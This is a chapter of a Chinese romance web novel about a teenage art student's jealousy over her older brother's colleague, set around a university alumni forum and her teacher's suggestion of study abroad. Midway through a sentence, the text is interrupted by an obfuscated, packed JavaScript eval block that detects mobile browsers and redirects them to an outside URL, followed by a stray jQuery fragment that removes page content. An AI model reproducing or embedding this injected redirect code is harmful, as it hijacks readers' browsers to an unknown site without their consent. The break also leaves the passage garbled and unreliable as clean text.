秦朝阳直起身，似乎没察觉她的异样，在她旁边的秋千椅坐下，长腿舒展，“看你发呆半天了，是不是累了？”


    他的态度一如既往，迟安沅却因为乍然得知的事情，心里翻腾的厉害。


    苏研姐姐喜欢哥哥吗？


    那哥哥呢？


    哥哥也喜欢她吗？


    她捏着速写本的边缘，“哥哥，你刚刚……和苏研姐姐在说什么呀？”她尽量让语气听起来只是随口一问。


    可问题问出口，她眼睛就一眨不眨地看着秦朝阳的反应。


    秦朝阳闻言，眉梢几不可察地动了一下。他侧过头，似乎短暂地权衡了一瞬。


    涉及苏研的私人感受和家境，并不适合拿来讨论，尤其不适合告诉眼前这个被保护很好、可能无法完全理解其中微妙处境的小姑娘。


    “没什么，”他转回头，语气轻快地下了结论，伸手揉了揉她的发顶，“就是闲聊几句，工作上的事而已。”


    秦朝阳说的坦荡，没有一点其他的情愫夹杂在其中的模样让迟安沅紧绷的神经稍稍放松了些。


    其实她还想要继续追问下去，想知道他们聊的到底是什么工作，想知道更多关于哥哥的事。


    不满足于只有生活这一面。


    但是她没有继续问。


    一股说不上来的失落漫上心头。


    这一刻她好想快点长大，长大到像苏研那样可以和秦朝阳并肩聊工作，聊那些同龄人之间的事。


    这种心情已经到达了顶峰。


    -


    海岛度假结束后，开学迟安沅收了心，学业压力也不小，不能总想着玩。


    这是一间私人画室。


    独门独栋的地方，环境很好。


    天光从高窗倾泻，投射显现出十分漂亮的布局光景。


    迟安沅这幅画已经画了几天了。


    周屿端着咖啡杯走到她身后，抱着手臂，看了一会儿。


    她很有天赋，用色大胆而克制，在漂亮的日光暖调中寻找着丰富而微妙的色彩倾向。


    周屿没有出声打扰她，目光从画布上挪到女孩沉静的侧脸。她微微蹙眉，正用一支极细的笔，调和着复杂的灰绿色，试图捕捉那点细微又生动的色差，动作稳定，眼神很专注。


    他开口时声音里带着毫不掩饰的满意：“石榴皮下那一点暖赭石，加得很好。”


    迟安沅闻声嘴角先是扬起，然后又克制住，有些不好意思地抿了抿唇道：“老师，我总感觉这处阴影里的透气感还差一点，有点闷。”


    周屿点头，走上前，用指尖虚点了几处，“这里，这里的边缘线可以再稍微破一破，空间就推开了。”


    “我知道了，老师。”迟安沅若有所思地点了点头，下笔按照他说的去改，果然好多了。


    周屿是央大美术学院油画系副教授，私下教授迟安沅也和秦母姜若瑜有些关系。


    原本是碍着家里的交情和面子应了见了一面看能不能教，后来便结了师生关系，对自己这有灵气又肯努力的学生很是欣赏。


    周屿又静静看她画了一会儿，忽然开口，“沅沅，你有没有想过走出去看看？”


    迟安沅停笔，有些疑惑的看向他，“走出去？”


    “嗯。”周屿倚在她的画架旁，“以你现在的功底和感受力，留在国内应对高考，是稳妥的路，但也框住了你。”


    他顿了顿，指向画室一角那幅她常看的无名画：“你喜欢的这种气息，这种对光线、情绪和空间的高度敏感，在欧洲那里，有更成体系、也更前沿的探索，能给你更庞大系统的支撑。”


    迟安沅听得有些愣神，这是她从未具体想过的。


    周屿观察着她的反应，抛出了更具分量的砝码：“上个月，我把你近期的一组作品发给了我在Y国国立美术学院的导师莫雷教授，他看了你的画后很欣赏，还愿意破例为你提供一个直接进入他夏季工作坊的邀请，如果你能在那展现出相应的潜力，他愿意为你写封推荐信，帮你申请他所在的学院或其他顶尖院校。”


    “……啊？”迟安沅彻底愣住了，手指无意识地捏紧了画笔，没想到会忽然出现这样的机会。


    “周老师，我……这，这太突然了，我从来没想过。”不仅是语言的问题，让她离开熟悉的环境，离开亲近的人，去到国外独自求学，迟安沅几乎从未有过这种想法。


    周屿打断她，语气温和却不容置疑，“语言可以学，程序可以走，当然以你家里的资源，在国内也未尝不可，我告诉你这些，不是要你现在就做决定，更不是替你决定。只是作为一个老师，告诉你也许有更合适的道路。”


    迟安沅毕竟也只是个十七岁的小姑娘，乍然听到这样的消息，既有被肯定的兴奋与激动，也很不知所措。


    “嗯，我知道了，谢谢老师。”迟安沅站起来郑重的给老师道谢，她知道老师是真的为她好，才会给她建议和选择。


    周屿点点头，“你好好想想，也可以跟家里人商量一下。”


    -


    三月，学校里组织了京华大学文化旅的活动，有三十个名额，学校成绩在前三十的学生都可以去参加。


    京华的美院一直是迟安沅心仪的学院，能有机会提前去看看迟安沅很期待。


    晚上她多添了半碗饭，在高三高强度学习中跑出来放松一天去参观心仪的大学让迟安沅这个好学生也忍不住有点开心。


    秦父秦母知道她这段时间学习苦，看小姑娘这藏不住的高兴都忍不住发笑。


    秦朝阳加了两天班都住在公司附近买的公寓没回家，今天才回来。


    他喝了口汤，放下汤匙，拿起餐巾随意地擦了擦嘴角，“今天心情这么好？”


    迟安沅咽下嘴里的糖醋排骨，放下筷子，嘴角压不下去，“学校组织了我们去京华大学文化旅。”


    秦朝阳挑眉，没想到这么巧。


    “什么时候去？”


    “就是明天呀，对了哥哥，京华大学是你的母校，你等会儿吃过饭再跟我说说吧，我好熟悉点，到时候还会有自由活动时间呢。”


    迟安沅光顾着说话，说着忽然没注意打了个响亮的饱嗝。


    她脸一红，觉得有点丢人。


    吃多了。


    秦朝阳眸子里闪过笑，顾忌小姑娘面子没笑出声来，而是继续道：“碰巧，我明天也要去京华。”


    “诶，哥哥你会母校做什么？有活动吗？”


    “对。”秦朝阳点点头，然后解释道：“受邀参加一个校友活动，需要做个简短的分享。”


    她迟疑地开口，“哥哥你的意思是，明天去是作为嘉宾，要……演讲吗？”


    京华大学是百年老校，培养了很多的人才，每年也会有各种杰出人才回母校做演讲。


    但那些都是功成名就的中年人了。


    “嗯。”秦朝阳笑了下点头。


    迟安沅捂着嘴的手都放了下来，眼睛瞪得老大。


    “好厉害……”


    她以为能回母校演讲的，通常都是功成名就、年岁较长的前辈，至少要像秦叔叔这样的年纪。


    秦朝阳看着她这副孩子气直白惊叹的模样有点好笑，也很受用，“没那么夸张。”


    他开口，声线清朗平稳，却带着天生的自信，“这次校友会主题关注创新与未来，恰好需要一个三十岁以下的年轻校友分享点儿经验，院里几个老师想到了我，就发了邀请。”


    秦明远看着语气平淡的儿子，眼里闪过骄傲。


    秦朝阳创立的深瞳科技上个月刚刚发布了自主研发的新一代人工智能芯片，还上了财经新闻的版面。


    所以京华大学邀请他并不只是需要一个三十岁以下的校友分享经验那么简单。


    “就算是这样哥哥也太厉害了。”迟安沅眼睛发亮看着秦朝阳，里面的崇拜丝毫不减。


    秦朝阳嘴角又上扬几分。


    “行了，别拍马屁了，明早跟我一起，我先送你过去。”


    “好！”


    第二天清晨，一辆线条流畅的黑色轿车缓慢驶入京华大学。


    北门里头，穿着统一校服的学生们已聚集了不少。


    车子开进去停稳，副驾驶门打开，迟安沅背着双肩包，略显匆忙地钻了出来。


    清晨的阳光勾勒出她纤细窈窕的身形和细腻莹白的脸颊，整个人显得十分明媚。


    她昨晚听秦朝阳说在大学的事，听的太兴奋了，睡晚了，结果早上就起迟了，连早饭都是在车里吃的，还好没有迟到。


    “谢谢哥哥，我走了！”时间来不及了，她快速朝车内说了一句，便转身着急去集合。


    人还没走出去又被拽着胳膊拉了回去。


    秦朝阳看她一脸迷糊嘴角还沾着牛奶的模样有些无奈，伸手抽出张纸巾给她擦了擦，“去吧，结束给我电话。”


    迟安沅早上的困劲儿一下散了，脸上漫上一股热气。


    好在秦朝阳已经坐回车内，没有看到她的窘态。


    “沅沅，你来啦。”刘思琦和另一个相熟的同学走过来，脸上有些惊讶，“刚刚那不是你家的车吗，我好像看到你哥哥了诶。”


    刘思琦啧啧两声，“朝阳哥还是那么帅，不对，你哥哥怎么开到学校里去了，不是不给外来车辆随便进学校的吗？”


    迟安沅耳尖的红晕还没散，解释道：“……哥哥今天来学校有事。”


    她有点想炫耀一下，但是又不太好意思，最后克制地只说了秦朝阳有事。


    想着一会儿刘思琦追问她再说吧。


    想到哥哥今天是来做嘉宾的，她还是忍不住有些得意。


    可惜刘思琦并没有好奇，也没追问。


    “哦哦。”她知道秦朝阳母校是京华大学，也不奇怪，胡乱点了下头就拉着迟安沅汇入了学生队伍里。


    弄得迟安沅不上不下，有点憋闷。


    上午本来的计划是参观京华大学的校史馆，但是中途领队老师不知道收到了什么消息，面露喜色，临时改了行程。


    “同学们，刚刚接到校方通知，今天上午在京华大礼堂有一场杰出校友论坛会，机会难得，学校特意为我们高中访问团预留了名额和座位，我们调整一下行程。”


    京华大学作为顶尖大学，校友会上出现的都是各领域优秀人物，甚至还能看到电视上出现过的各种名人，这可比按部就班的参观更有吸引力。


    队伍里的学生一下子就兴奋起来。


    迟安沅满目惊喜，没想到会有这样的机会。


    刚刚的那点憋闷完全消散了。


    九点半，京华大学大礼堂内，学生们被安排在靠前的中区位置坐好。


    灯光聚焦的演讲台上，嘉宾陆续入座。在一众四五十岁的成功人士当中，年轻男人穿着黑色西装俊朗带着些清贵的颀长身影显得格外扎眼。


    引起了台下的一些惊讶讨论，不知道他到底是什么人。


    直到他上台，众人才恍然大悟，原来是如今正热的人工智能新锐科技公司“深瞳科技”的创始人秦朝阳。


    只是众人没料到深瞳科技的创始人竟然这么年轻。


    男人不急不缓的声音从台上传出来，逻辑严密，语言利落没有一丝冗余，听起来有些难懂科技趋势与商业逻辑被举重若轻地阐述出来。


    刘思琦目瞪口呆看着台上散发着无敌成功人士王霸之气的秦朝阳。


    她转头，“沅沅，我真服了，你说的你哥哥有事就是来参加这个校友会啊，你怎么不早说！”


    她家也挺有钱的，她表哥和朝阳哥差不多大，还在国外吊儿郎当混日子呢……


    迟安沅转头敷衍含糊的快速回了声“嗯”字就又转回去看着台上的哥哥。


    目光在台上的人身上无法挪开。


    苏研穿过座位的间隙。


    一眼就看到了坐在中间位置的迟安沅。


    少女出落得很好看，在哪里都是能被一眼注意到的存在。


    苏研手里拿着一个帆布袋，这是迟安沅早上落在秦朝阳车上的速写本。


    是学长让她送来给他妹妹的。


    苏研上次看到迟安沅已经是两个月前度假的时候了。


    此时再见，她只觉得少女出落得似乎更加动


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337598|198812||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人了。


    仿佛将窗外所有的春日光华都敛在了简单的校服之下。


    苏研的脚步几不可察地顿了一下。她的目光顺着迟安沅的视线方向，毫无意外地落在了演讲台中央那个正从容陈述的男人身上。


    “沅沅。”


    她喊了两声迟安沅才回神。


    转过头时，那眼神里的崇拜仰慕和专注甚至是恋慕都不及收敛，就毫无防备地撞进了苏研的视线里。


    苏研心头一跳，脸上的笑维持不住。


    迟安沅转头，有些意外，“苏研姐姐，你怎么来了？”


    苏研还是扯出一个笑容，将手中的帆布包露了出来，“你的包丢在了学长的车上，他让我送给你。”


    迟安沅愣了下，注意一下子被这句带着些亲昵的“学长”两字吸引了注意。


    脑海中又闪过那晚在海边看到的两人在灯光下中挨得很近低声交谈的画面。


    “谢谢苏研姐姐，你……也是和哥哥一个学校的吗？”迟安沅忍不住问道。


    苏研维持着笑意，目光自然地落在台上人身上，“嗯，我也是京华的毕业生，比学长小一届，后来遇到一些困难，也是学长帮了我，他一直对我很好。”


    她话里的熟稔和亲近让迟安沅怔住。


    “哦……”她应了一声，声音小小的，然后又补了句，“那、那挺好的。”


    话是这么说，心里却莫名飘过一点说不清的滋味。


    “谢谢苏研姐姐给我送速写本来，麻烦你了。”迟安沅的态度好像忽然少了几分对苏研的亲近。


    苏研却好像没有察觉到一样，露出一个笑，“没事，顺手而已。”


    说完她也没有走，而是坐在了迟安沅身侧空着的位置上。


    “正好现在学长在台上，我就在台下偷会儿懒。”苏研似乎因为两人刚刚的对话打开了话匣子，“他有时候强大的像个机器人，凌晨看报告，加班，好像根本就不会累一样。”


    迟安沅心里越发感觉不是滋味，半晌才回道：“哥哥一直这样的，忙起来就忘了时间。姜妈妈让人炖了汤，他常常都顾不上喝。”


    苏研目光落在台上光芒汇聚的男人身上，“学长他看着什么都游刃有余，其实有时候特别固执，认定的事谁也改不了。”


    秦朝阳正结束最后一个段落的阐述，微微停顿，目光沉稳地扫过台下。


    那一瞬间，迟安沅觉得他的视线仿佛掠过了自己所在的方向，但又似乎是在看身边的苏研。


    苏研恰好起身开口道：“沅沅，学长看过来了，我该回去了，那我先走了。”


    “……好，苏研姐姐再见。”


    刘思琦兴奋地凑过来还想跟她说说台上的演讲，却看到她似乎有些不舒服，“沅沅，怎么啦，你不舒服吗？”


    迟安沅缓慢地摇了摇头，垂下眼帘，在下眼睑投下一片阴影。


    她从喉咙里挤出一点细微的声音：“没事。有点……闷。”


    下午的参观结束后，迟安沅跟着人流走出大门，一眼就看到了那辆熟悉的黑色轿车，静静地停在显眼的位置。


    车窗降下，露出秦朝阳的侧脸。他显然已经结束所有活动，脱下了那身挺括的西装外套，随意地搭在一旁，衬衫的扣子敞开了一颗，袖口也挽到了手肘，显出几分闲适与懒散。


    午后的光线斜斜照进车内，为他轮廓分明的侧影镀上一层柔光，那股成熟男性的魅力与性感，有些惑人。


    迟安沅的脚步几不可查地顿了一下，然后才慢慢走过去，透过车窗，她看到了苏研的身影。


    她也坐在车里，正在跟哥哥说话。


    一股被排除在外的失落，无声地攥住了迟安沅的心脏。


    她觉得自己像个误闯别人世界的局外人。


    迟安沅准备走向秦朝阳的脚步顿住，转了个方向迈向副驾驶。


    秦朝阳原本靠在椅背上的身形微微向前倾了一些，视线落在她脸上，眉头几不可查地皱了一下。


    “沅沅？”他唤了一声，声音比平时略沉，带着一丝询问，“过来。”


    迟安沅垂下眼，避开了他的目光，也避开了后座苏研看过来的视线。她没往后走，伸手拉开了副驾驶的门坐了进去，动作有些快，带着一股她自己都没意识到的赌气般的僵硬。


    “砰”的一声轻响，车门关上。车内安静了一瞬。


    迟安沅僵直地坐在副驾驶座上，这个她很少涉足的位置此刻显得既陌生又逼仄。


    她指尖扣紧书包袋子，又有些后悔坐在前排的举动。


    恍惚间，她有种自己的心思已经全然暴露在后面的两人面前。


    委屈、慌张、羞耻，各种又丢人又难受的情绪涌上心头，让她眼圈发涨。


    他们肯定觉得她小孩子脾气无理取闹吧。


    秦朝阳的眉头蹙得更紧了些。他目光沉沉地看着前排小姑娘闹脾气一样的沉默反抗。


    她没有像往常一样，上车就自然地转向他，哪怕不说话，眼睛里也总是亮晶晶的，带着依赖和开心。


    车上唯一清楚缘由的苏研垂下了眼皮。


    更加确定了心中所想。


    秦朝阳没有在人前处理家事的习惯，也知道小姑娘有自尊心，没有当着苏研的面开口说些什么。


    “秦总，您晚上七点还有个视频会议，需要我先跟对方确认一下材料吗？”苏研低声问道。


    秦朝阳的目光这才从迟安沅身上移开，语气恢复了工作时的简洁：“嗯。你先处理。”


    又看了一眼在闹脾气的小丫头，然后开始处理工作。


    车内陷入一种奇异的安静。只有苏研低低的汇报声，以及秦朝阳偶尔简短确认的声音。


    迟安沅觉得自己有些多余。


    不止多余，还幼稚。


    苏研汇报完，车内再次安静下来。她借着将平板放回包里的动作，悄悄透过后视镜，看了一眼副驾驶的迟安沅。女孩依旧侧头对着窗外，只露出小半白皙的侧脸和微微抿着的唇线。


    而秦朝阳……他靠在椅背，闭目养神，侧面轮廓冷硬，仿佛什么都没有发生过一样。